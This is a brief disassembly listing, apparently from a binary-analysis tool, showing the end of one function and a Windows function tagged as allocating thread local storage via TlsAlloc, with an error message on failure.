add rsp, 0x80
pop rdi
ret

Function at 0x140005bd0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140447abc], eax
cmp eax, 0xffffffff
jne 0x140005bfd
lea rdx, str.Win32:_Failed_to_allocate_TLS_index
mov ecx, 0x10008
call fcn.140002720
xor eax, eax
add rsp, 0x28
ret
mov dword [0x140447ab8], 1
mov eax, 1
add rsp, 0x28
ret